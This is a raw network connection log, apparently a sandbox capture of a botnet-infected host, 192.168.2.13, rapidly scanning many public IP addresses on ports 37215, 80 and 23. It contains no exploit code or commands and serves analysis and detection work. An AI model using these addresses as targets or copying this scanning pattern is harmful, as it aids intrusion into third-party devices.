Dec 3, 2024 21:47:25.413130045 CET	54482	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:25.413130045 CET	54482	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:25.413338900 CET	54658	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:25.413626909 CET	38252	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:25.413626909 CET	38252	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:25.413852930 CET	38428	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:25.414119959 CET	52824	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:25.414140940 CET	52824	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:25.414346933 CET	53000	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:25.414622068 CET	51350	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:25.414622068 CET	51350	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:25.414832115 CET	51526	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:25.415110111 CET	53170	37215	192.168.2.13	197.127.150.255
Dec 3, 2024 21:47:25.415110111 CET	53170	37215	192.168.2.13	197.127.150.255
Dec 3, 2024 21:47:25.415605068 CET	53346	37215	192.168.2.13	197.127.150.255
Dec 3, 2024 21:47:25.415919065 CET	53918	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:25.415919065 CET	53918	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:25.416126013 CET	54092	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:25.416405916 CET	51276	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:25.416405916 CET	51276	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:25.416626930 CET	51450	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:25.416910887 CET	35676	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:25.416910887 CET	35676	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:25.417109013 CET	35850	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:25.417356968 CET	42048	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:25.417357922 CET	42048	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:25.417578936 CET	42222	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:25.417850971 CET	49042	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:25.417850971 CET	49042	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:25.418059111 CET	49212	37215	192.168.2.13	156.81.165.124
Dec 3, 2024 21:47:25.418329000 CET	53288	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:25.418329000 CET	53288	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:25.418529987 CET	53458	37215	192.168.2.13	197.197.99.27
Dec 3, 2024 21:47:25.418792963 CET	39234	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:25.418792963 CET	39234	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:25.419012070 CET	39400	37215	192.168.2.13	197.70.204.94
Dec 3, 2024 21:47:25.419291973 CET	59084	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:25.419291973 CET	59084	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:25.419507980 CET	59250	37215	192.168.2.13	41.248.180.24
Dec 3, 2024 21:47:25.419764042 CET	52076	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:25.419764042 CET	52076	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:25.419976950 CET	52242	37215	192.168.2.13	156.244.222.255
Dec 3, 2024 21:47:25.421078920 CET	80	36810	72.97.142.213	192.168.2.13
Dec 3, 2024 21:47:25.421112061 CET	80	36550	216.217.165.253	192.168.2.13
Dec 3, 2024 21:47:25.421118021 CET	80	41174	12.24.147.177	192.168.2.13
Dec 3, 2024 21:47:25.421138048 CET	36810	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:25.421158075 CET	80	39974	190.171.181.209	192.168.2.13
Dec 3, 2024 21:47:25.421164989 CET	37215	41936	197.233.207.19	192.168.2.13
Dec 3, 2024 21:47:25.421185017 CET	36550	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:25.421185017 CET	41174	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:25.421191931 CET	37215	35028	156.157.158.180	192.168.2.13
Dec 3, 2024 21:47:25.421197891 CET	37215	56176	41.84.2.171	192.168.2.13
Dec 3, 2024 21:47:25.421205997 CET	39974	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:25.421215057 CET	41936	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:25.421221972 CET	80	54424	62.250.47.221	192.168.2.13
Dec 3, 2024 21:47:25.421227932 CET	35028	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:25.421228886 CET	56176	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:25.421237946 CET	37215	56054	41.179.108.209	192.168.2.13
Dec 3, 2024 21:47:25.421256065 CET	54424	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:25.421257973 CET	35028	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:25.421267986 CET	37215	44560	197.102.244.208	192.168.2.13
Dec 3, 2024 21:47:25.421273947 CET	37215	55164	156.238.129.211	192.168.2.13
Dec 3, 2024 21:47:25.421273947 CET	56054	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:25.421279907 CET	41936	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:25.421279907 CET	41936	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:25.421299934 CET	44560	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:25.421304941 CET	37215	36316	41.170.21.145	192.168.2.13
Dec 3, 2024 21:47:25.421320915 CET	55164	37215	192.168.2.13	156.238.129.211
Dec 3, 2024 21:47:25.421324015 CET	37215	35846	197.79.18.120	192.168.2.13
Dec 3, 2024 21:47:25.421330929 CET	37215	34918	156.18.66.100	192.168.2.13
Dec 3, 2024 21:47:25.421339035 CET	36316	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:25.421350956 CET	36550	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:25.421358109 CET	35846	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:25.421359062 CET	80	58536	107.213.65.9	192.168.2.13
Dec 3, 2024 21:47:25.421381950 CET	34918	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:25.421406984 CET	80	44752	126.129.144.5	192.168.2.13
Dec 3, 2024 21:47:25.421413898 CET	37215	60506	41.193.68.101	192.168.2.13
Dec 3, 2024 21:47:25.421427011 CET	58536	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:25.421442032 CET	37215	45824	41.227.92.100	192.168.2.13
Dec 3, 2024 21:47:25.421457052 CET	60506	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:25.421466112 CET	44752	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:25.421482086 CET	45824	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:25.421559095 CET	42064	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:25.421560049 CET	39974	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:25.421586990 CET	41174	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:25.421586990 CET	41174	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:25.422051907 CET	56176	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:25.422075033 CET	56176	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:25.422075033 CET	41324	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:25.422517061 CET	36810	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:25.422517061 CET	36810	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:25.422586918 CET	56338	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:25.422941923 CET	36962	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:25.423113108 CET	55164	37215	192.168.2.13	156.238.129.211
Dec 3, 2024 21:47:25.423113108 CET	55164	37215	192.168.2.13	156.238.129.211
Dec 3, 2024 21:47:25.423553944 CET	58536	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:25.423553944 CET	58536	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:25.423568010 CET	55336	37215	192.168.2.13	156.238.129.211
Dec 3, 2024 21:47:25.423979044 CET	58702	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:25.424123049 CET	45824	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:25.424123049 CET	45824	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:25.424597979 CET	44752	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:25.424597979 CET	44752	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:25.424662113 CET	45998	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:25.425034046 CET	44918	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:25.425184965 CET	35846	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:25.425184965 CET	35846	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:25.425617933 CET	54424	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:25.425617933 CET	54424	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:25.425684929 CET	36022	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:25.426059008 CET	54592	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:25.426204920 CET	34918	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:25.426204920 CET	34918	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:25.426718950 CET	35092	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:25.426985025 CET	60506	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:25.426999092 CET	60506	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:25.427196980 CET	60664	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:25.427606106 CET	56054	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:25.427606106 CET	56054	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:25.427815914 CET	56212	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:25.428091049 CET	36316	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:25.428091049 CET	36316	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:25.428302050 CET	36474	37215	192.168.2.13	41.170.21.145
Dec 3, 2024 21:47:25.428570032 CET	44560	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:25.428570032 CET	44560	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:25.428802013 CET	44718	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:25.479662895 CET	80	39419	66.104.233.206	192.168.2.13
Dec 3, 2024 21:47:25.479681015 CET	80	39419	40.170.153.39	192.168.2.13
Dec 3, 2024 21:47:25.479712963 CET	80	39419	13.92.149.139	192.168.2.13
Dec 3, 2024 21:47:25.479718924 CET	80	39419	167.27.167.164	192.168.2.13
Dec 3, 2024 21:47:25.479727983 CET	80	39419	155.105.23.33	192.168.2.13
Dec 3, 2024 21:47:25.479734898 CET	80	39419	53.2.196.30	192.168.2.13
Dec 3, 2024 21:47:25.479753971 CET	80	39419	75.254.147.50	192.168.2.13
Dec 3, 2024 21:47:25.479758978 CET	80	39419	95.231.217.193	192.168.2.13
Dec 3, 2024 21:47:25.479789019 CET	39419	80	192.168.2.13	66.104.233.206
Dec 3, 2024 21:47:25.479789019 CET	39419	80	192.168.2.13	40.170.153.39
Dec 3, 2024 21:47:25.479799032 CET	39419	80	192.168.2.13	155.105.23.33
Dec 3, 2024 21:47:25.479799032 CET	39419	80	192.168.2.13	53.2.196.30
Dec 3, 2024 21:47:25.479809999 CET	39419	80	192.168.2.13	75.254.147.50
Dec 3, 2024 21:47:25.479809999 CET	39419	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:25.479811907 CET	39419	80	192.168.2.13	13.92.149.139
Dec 3, 2024 21:47:25.479813099 CET	39419	80	192.168.2.13	167.27.167.164
Dec 3, 2024 21:47:25.479876995 CET	80	52038	151.199.164.101	192.168.2.13
Dec 3, 2024 21:47:25.479953051 CET	80	44326	165.66.103.50	192.168.2.13
Dec 3, 2024 21:47:25.479979038 CET	52038	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:25.479990959 CET	44326	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:25.480835915 CET	80	59400	206.17.226.29	192.168.2.13
Dec 3, 2024 21:47:25.480901957 CET	59400	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:25.481167078 CET	80	57058	128.218.148.72	192.168.2.13
Dec 3, 2024 21:47:25.481260061 CET	57058	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:25.481578112 CET	80	47062	167.129.209.249	192.168.2.13
Dec 3, 2024 21:47:25.481725931 CET	47062	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:25.481935978 CET	80	50048	217.9.92.75	192.168.2.13
Dec 3, 2024 21:47:25.481993914 CET	50048	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:25.482456923 CET	80	33310	84.115.17.222	192.168.2.13
Dec 3, 2024 21:47:25.482496023 CET	80	37350	116.147.27.49	192.168.2.13
Dec 3, 2024 21:47:25.482501984 CET	80	51828	219.115.34.124	192.168.2.13
Dec 3, 2024 21:47:25.482506990 CET	80	53246	208.91.209.54	192.168.2.13
Dec 3, 2024 21:47:25.482567072 CET	80	56416	101.1.73.203	192.168.2.13
Dec 3, 2024 21:47:25.482572079 CET	80	57576	135.22.204.152	192.168.2.13
Dec 3, 2024 21:47:25.482583046 CET	80	50096	87.46.134.230	192.168.2.13
Dec 3, 2024 21:47:25.482594013 CET	80	37184	49.175.230.209	192.168.2.13
Dec 3, 2024 21:47:25.482609987 CET	80	38602	87.2.29.201	192.168.2.13
Dec 3, 2024 21:47:25.482652903 CET	80	38312	94.2.223.202	192.168.2.13
Dec 3, 2024 21:47:25.482666969 CET	80	54320	89.9.140.26	192.168.2.13
Dec 3, 2024 21:47:25.482678890 CET	80	50434	14.244.19.249	192.168.2.13
Dec 3, 2024 21:47:25.482702971 CET	80	38602	87.2.29.201	192.168.2.13
Dec 3, 2024 21:47:25.482796907 CET	38602	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:25.483218908 CET	80	38312	94.2.223.202	192.168.2.13
Dec 3, 2024 21:47:25.483285904 CET	38312	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:25.483556032 CET	80	54320	89.9.140.26	192.168.2.13
Dec 3, 2024 21:47:25.483709097 CET	54320	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:25.483792067 CET	80	37184	49.175.230.209	192.168.2.13
Dec 3, 2024 21:47:25.483834982 CET	37184	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:25.484168053 CET	80	50434	14.244.19.249	192.168.2.13
Dec 3, 2024 21:47:25.484266043 CET	50434	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:25.484489918 CET	80	51828	219.115.34.124	192.168.2.13
Dec 3, 2024 21:47:25.484575033 CET	51828	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:25.484920025 CET	80	50096	87.46.134.230	192.168.2.13
Dec 3, 2024 21:47:25.485008955 CET	50096	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:25.485512018 CET	80	33310	84.115.17.222	192.168.2.13
Dec 3, 2024 21:47:25.485610962 CET	33310	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:25.486068964 CET	80	57576	135.22.204.152	192.168.2.13
Dec 3, 2024 21:47:25.486175060 CET	57576	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:25.486577034 CET	80	56416	101.1.73.203	192.168.2.13
Dec 3, 2024 21:47:25.486711025 CET	56416	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:25.487067938 CET	80	37350	116.147.27.49	192.168.2.13
Dec 3, 2024 21:47:25.487159967 CET	37350	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:25.487350941 CET	80	53246	208.91.209.54	192.168.2.13
Dec 3, 2024 21:47:25.487392902 CET	53246	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:25.494358063 CET	40955	23	192.168.2.13	153.146.165.142
Dec 3, 2024 21:47:25.494370937 CET	40955	23	192.168.2.13	190.228.23.166
Dec 3, 2024 21:47:25.494395971 CET	40955	23	192.168.2.13	17.234.9.152
Dec 3, 2024 21:47:25.494395971 CET	40955	23	192.168.2.13	145.97.60.100
Dec 3, 2024 21:47:25.494400978 CET	40955	23	192.168.2.13	179.170.227.36
Dec 3, 2024 21:47:25.494401932 CET	40955	23	192.168.2.13	58.46.56.248
Dec 3, 2024 21:47:25.494401932 CET	40955	23	192.168.2.13	170.212.249.161
Dec 3, 2024 21:47:25.494420052 CET	40955	23	192.168.2.13	146.87.52.51
Dec 3, 2024 21:47:25.494421959 CET	40955	23	192.168.2.13	172.176.116.149
Dec 3, 2024 21:47:25.494426966 CET	40955	23	192.168.2.13	93.63.118.118
Dec 3, 2024 21:47:25.494446039 CET	40955	23	192.168.2.13	43.135.50.118
Dec 3, 2024 21:47:25.494448900 CET	40955	23	192.168.2.13	38.91.212.45
Dec 3, 2024 21:47:25.494457960 CET	40955	23	192.168.2.13	39.109.135.79
Dec 3, 2024 21:47:25.494460106 CET	40955	23	192.168.2.13	12.23.111.176
Dec 3, 2024 21:47:25.494477034 CET	40955	23	192.168.2.13	39.232.212.33
Dec 3, 2024 21:47:25.494486094 CET	40955	23	192.168.2.13	103.152.136.20
Dec 3, 2024 21:47:25.494491100 CET	40955	23	192.168.2.13	178.118.203.173
Dec 3, 2024 21:47:25.494503975 CET	40955	23	192.168.2.13	36.208.184.85
Dec 3, 2024 21:47:25.494504929 CET	40955	23	192.168.2.13	216.250.179.73
Dec 3, 2024 21:47:25.494518042 CET	40955	23	192.168.2.13	84.202.124.198
Dec 3, 2024 21:47:25.494538069 CET	40955	23	192.168.2.13	111.93.88.80
Dec 3, 2024 21:47:25.494554043 CET	40955	23	192.168.2.13	110.36.59.116
Dec 3, 2024 21:47:25.494556904 CET	40955	23	192.168.2.13	213.25.86.103
Dec 3, 2024 21:47:25.494559050 CET	40955	23	192.168.2.13	83.211.32.61
Dec 3, 2024 21:47:25.494575024 CET	40955	23	192.168.2.13	54.52.205.127
Dec 3, 2024 21:47:25.494584084 CET	40955	23	192.168.2.13	156.11.23.89
Dec 3, 2024 21:47:25.494585037 CET	40955	23	192.168.2.13	32.245.45.186
Dec 3, 2024 21:47:25.494605064 CET	40955	23	192.168.2.13	43.217.104.20
Dec 3, 2024 21:47:25.494620085 CET	40955	23	192.168.2.13	79.66.112.49
Dec 3, 2024 21:47:25.494622946 CET	40955	23	192.168.2.13	210.164.48.111
Dec 3, 2024 21:47:25.494635105 CET	40955	23	192.168.2.13	116.90.241.184
Dec 3, 2024 21:47:25.494640112 CET	40955	23	192.168.2.13	135.99.12.107
Dec 3, 2024 21:47:25.494651079 CET	40955	23	192.168.2.13	73.199.158.89
Dec 3, 2024 21:47:25.494651079 CET	40955	23	192.168.2.13	200.195.84.96
Dec 3, 2024 21:47:25.494657040 CET	40955	23	192.168.2.13	193.82.206.177
Dec 3, 2024 21:47:25.494677067 CET	40955	23	192.168.2.13	150.213.81.203
Dec 3, 2024 21:47:25.494690895 CET	40955	23	192.168.2.13	41.71.100.1
Dec 3, 2024 21:47:25.494690895 CET	40955	23	192.168.2.13	43.216.15.161
Dec 3, 2024 21:47:25.494690895 CET	40955	23	192.168.2.13	208.168.89.186
Dec 3, 2024 21:47:25.494702101 CET	40955	23	192.168.2.13	216.148.67.59
Dec 3, 2024 21:47:25.494716883 CET	40955	23	192.168.2.13	82.167.228.234
Dec 3, 2024 21:47:25.494728088 CET	40955	23	192.168.2.13	107.115.49.191
Dec 3, 2024 21:47:25.494728088 CET	40955	23	192.168.2.13	99.74.77.137
Dec 3, 2024 21:47:25.494735956 CET	40955	23	192.168.2.13	12.174.169.187
Dec 3, 2024 21:47:25.494750023 CET	40955	23	192.168.2.13	71.55.245.251
Dec 3, 2024 21:47:25.494751930 CET	40955	23	192.168.2.13	159.138.46.59
Dec 3, 2024 21:47:25.494757891 CET	40955	23	192.168.2.13	18.202.163.50
Dec 3, 2024 21:47:25.494765043 CET	40955	23	192.168.2.13	82.144.113.188
Dec 3, 2024 21:47:25.494781017 CET	40955	23	192.168.2.13	58.73.182.4
Dec 3, 2024 21:47:25.494788885 CET	40955	23	192.168.2.13	117.236.208.227
Dec 3, 2024 21:47:25.494796038 CET	40955	23	192.168.2.13	80.217.188.50
Dec 3, 2024 21:47:25.494796038 CET	40955	23	192.168.2.13	103.51.25.29
Dec 3, 2024 21:47:25.494817019 CET	40955	23	192.168.2.13	47.106.134.239
Dec 3, 2024 21:47:25.494817972 CET	40955	23	192.168.2.13	174.133.98.252
Dec 3, 2024 21:47:25.494822979 CET	40955	23	192.168.2.13	107.76.105.158
Dec 3, 2024 21:47:25.494843006 CET	40955	23	192.168.2.13	223.247.144.244
Dec 3, 2024 21:47:25.494843006 CET	40955	23	192.168.2.13	150.151.189.185
Dec 3, 2024 21:47:25.494843006 CET	40955	23	192.168.2.13	203.31.174.33
Dec 3, 2024 21:47:25.494863033 CET	40955	23	192.168.2.13	170.97.35.116
Dec 3, 2024 21:47:25.494865894 CET	40955	23	192.168.2.13	216.144.188.39
Dec 3, 2024 21:47:25.494867086 CET	40955	23	192.168.2.13	162.77.234.115
Dec 3, 2024 21:47:25.494884968 CET	40955	23	192.168.2.13	46.123.81.48
Dec 3, 2024 21:47:25.494891882 CET	40955	23	192.168.2.13	14.83.7.100
Dec 3, 2024 21:47:25.494891882 CET	40955	23	192.168.2.13	195.29.68.246
Dec 3, 2024 21:47:25.494891882 CET	40955	23	192.168.2.13	141.79.100.84
Dec 3, 2024 21:47:25.494911909 CET	40955	23	192.168.2.13	152.181.240.103
Dec 3, 2024 21:47:25.494918108 CET	40955	23	192.168.2.13	197.82.138.44
Dec 3, 2024 21:47:25.494920015 CET	40955	23	192.168.2.13	54.238.137.52
Dec 3, 2024 21:47:25.494932890 CET	40955	23	192.168.2.13	62.11.92.43
Dec 3, 2024 21:47:25.494939089 CET	40955	23	192.168.2.13	212.81.112.56
Dec 3, 2024 21:47:25.494941950 CET	40955	23	192.168.2.13	58.144.246.94
Dec 3, 2024 21:47:25.494950056 CET	40955	23	192.168.2.13	38.29.138.51
Dec 3, 2024 21:47:25.494951963 CET	40955	23	192.168.2.13	105.70.155.143
Dec 3, 2024 21:47:25.494965076 CET	40955	23	192.168.2.13	174.19.181.21
Dec 3, 2024 21:47:25.494965076 CET	40955	23	192.168.2.13	72.177.245.22
Dec 3, 2024 21:47:25.494971991 CET	40955	23	192.168.2.13	163.4.146.119
Dec 3, 2024 21:47:25.494988918 CET	40955	23	192.168.2.13	139.230.1.176
Dec 3, 2024 21:47:25.494995117 CET	40955	23	192.168.2.13	69.23.167.207
Dec 3, 2024 21:47:25.494997025 CET	40955	23	192.168.2.13	98.82.187.37
Dec 3, 2024 21:47:25.495012045 CET	40955	23	192.168.2.13	77.11.152.108
Dec 3, 2024 21:47:25.495013952 CET	40955	23	192.168.2.13	13.232.84.131
Dec 3, 2024 21:47:25.495023012 CET	40955	23	192.168.2.13	100.158.98.92
Dec 3, 2024 21:47:25.495026112 CET	40955	23	192.168.2.13	44.244.127.184
Dec 3, 2024 21:47:25.495044947 CET	40955	23	192.168.2.13	135.179.117.97
Dec 3, 2024 21:47:25.495047092 CET	40955	23	192.168.2.13	193.189.163.224
Dec 3, 2024 21:47:25.495064020 CET	40955	23	192.168.2.13	129.130.220.86
Dec 3, 2024 21:47:25.495064020 CET	40955	23	192.168.2.13	114.65.58.219
Dec 3, 2024 21:47:25.495069981 CET	40955	23	192.168.2.13	110.13.114.60
Dec 3, 2024 21:47:25.495079994 CET	40955	23	192.168.2.13	125.130.93.70
Dec 3, 2024 21:47:25.495090961 CET	40955	23	192.168.2.13	50.124.217.38
Dec 3, 2024 21:47:25.495102882 CET	40955	23	192.168.2.13	103.147.101.232
Dec 3, 2024 21:47:25.495105028 CET	40955	23	192.168.2.13	149.206.74.160
Dec 3, 2024 21:47:25.495131016 CET	40955	23	192.168.2.13	191.57.96.49
Dec 3, 2024 21:47:25.495137930 CET	40955	23	192.168.2.13	87.91.67.217
Dec 3, 2024 21:47:25.495146990 CET	40955	23	192.168.2.13	81.53.226.105
Dec 3, 2024 21:47:25.495161057 CET	40955	23	192.168.2.13	195.142.21.131
Dec 3, 2024 21:47:25.495162010 CET	40955	23	192.168.2.13	20.210.105.88
Dec 3, 2024 21:47:25.495168924 CET	40955	23	192.168.2.13	53.99.17.147
Dec 3, 2024 21:47:25.495177984 CET	40955	23	192.168.2.13	13.183.138.108
Dec 3, 2024 21:47:25.495187044 CET	40955	23	192.168.2.13	202.122.66.39
Dec 3, 2024 21:47:25.495189905 CET	40955	23	192.168.2.13	206.219.209.6
Dec 3, 2024 21:47:25.495191097 CET	40955	23	192.168.2.13	74.229.60.78
Dec 3, 2024 21:47:25.495208025 CET	40955	23	192.168.2.13	93.6.179.208
Dec 3, 2024 21:47:25.495220900 CET	40955	23	192.168.2.13	183.26.142.3
Dec 3, 2024 21:47:25.495223999 CET	40955	23	192.168.2.13	157.158.101.87
Dec 3, 2024 21:47:25.495230913 CET	40955	23	192.168.2.13	211.78.199.182
Dec 3, 2024 21:47:25.495246887 CET	40955	23	192.168.2.13	75.243.95.157
Dec 3, 2024 21:47:25.495259047 CET	40955	23	192.168.2.13	187.215.98.43
Dec 3, 2024 21:47:25.495264053 CET	40955	23	192.168.2.13	54.103.245.66
Dec 3, 2024 21:47:25.495266914 CET	40955	23	192.168.2.13	13.144.87.27
Dec 3, 2024 21:47:25.495280981 CET	40955	23	192.168.2.13	45.69.176.80
Dec 3, 2024 21:47:25.495289087 CET	40955	23	192.168.2.13	111.84.128.54
Dec 3, 2024 21:47:25.495304108 CET	40955	23	192.168.2.13	49.239.112.42
Dec 3, 2024 21:47:25.495305061 CET	40955	23	192.168.2.13	81.6.34.165
Dec 3, 2024 21:47:25.495323896 CET	40955	23	192.168.2.13	165.229.238.75
Dec 3, 2024 21:47:25.495326042 CET	40955	23	192.168.2.13	163.4.215.210
Dec 3, 2024 21:47:25.495330095 CET	40955	23	192.168.2.13	210.24.146.70
Dec 3, 2024 21:47:25.495346069 CET	40955	23	192.168.2.13	51.100.244.5
Dec 3, 2024 21:47:25.495349884 CET	40955	23	192.168.2.13	43.241.201.197
Dec 3, 2024 21:47:25.495359898 CET	40955	23	192.168.2.13	209.113.27.168
Dec 3, 2024 21:47:25.495364904 CET	40955	23	192.168.2.13	153.137.106.108
Dec 3, 2024 21:47:25.495378017 CET	40955	23	192.168.2.13	191.21.19.177
Dec 3, 2024 21:47:25.495398045 CET	40955	23	192.168.2.13	96.202.131.5
Dec 3, 2024 21:47:25.495402098 CET	40955	23	192.168.2.13	193.162.250.150
Dec 3, 2024 21:47:25.495403051 CET	40955	23	192.168.2.13	153.178.219.142
Dec 3, 2024 21:47:25.495409012 CET	40955	23	192.168.2.13	25.62.222.206
Dec 3, 2024 21:47:25.495414972 CET	40955	23	192.168.2.13	125.237.173.36
Dec 3, 2024 21:47:25.495425940 CET	40955	23	192.168.2.13	190.209.99.149
Dec 3, 2024 21:47:25.495429039 CET	40955	23	192.168.2.13	200.220.1.214
Dec 3, 2024 21:47:25.495445967 CET	40955	23	192.168.2.13	31.185.99.18
Dec 3, 2024 21:47:25.495450020 CET	40955	23	192.168.2.13	98.118.236.18
Dec 3, 2024 21:47:25.495465040 CET	40955	23	192.168.2.13	137.106.32.96
Dec 3, 2024 21:47:25.495465994 CET	40955	23	192.168.2.13	193.173.216.118
Dec 3, 2024 21:47:25.495481968 CET	40955	23	192.168.2.13	40.230.70.223
Dec 3, 2024 21:47:25.495492935 CET	40955	23	192.168.2.13	130.23.46.169
Dec 3, 2024 21:47:25.495521069 CET	40955	23	192.168.2.13	59.154.106.249
Dec 3, 2024 21:47:25.495522022 CET	40955	23	192.168.2.13	182.242.222.124
Dec 3, 2024 21:47:25.495532990 CET	40955	23	192.168.2.13	177.86.190.59
Dec 3, 2024 21:47:25.495533943 CET	40955	23	192.168.2.13	112.210.142.6
Dec 3, 2024 21:47:25.495543957 CET	40955	23	192.168.2.13	37.8.223.28
Dec 3, 2024 21:47:25.495546103 CET	40955	23	192.168.2.13	120.90.79.172
Dec 3, 2024 21:47:25.495563984 CET	40955	23	192.168.2.13	178.195.113.59
Dec 3, 2024 21:47:25.495565891 CET	40955	23	192.168.2.13	165.114.150.132
Dec 3, 2024 21:47:25.495580912 CET	40955	23	192.168.2.13	199.199.225.192
Dec 3, 2024 21:47:25.495580912 CET	40955	23	192.168.2.13	204.183.96.130
Dec 3, 2024 21:47:25.495590925 CET	40955	23	192.168.2.13	78.70.14.222
Dec 3, 2024 21:47:25.495595932 CET	40955	23	192.168.2.13	172.95.133.222
Dec 3, 2024 21:47:25.495625019 CET	40955	23	192.168.2.13	9.41.101.201
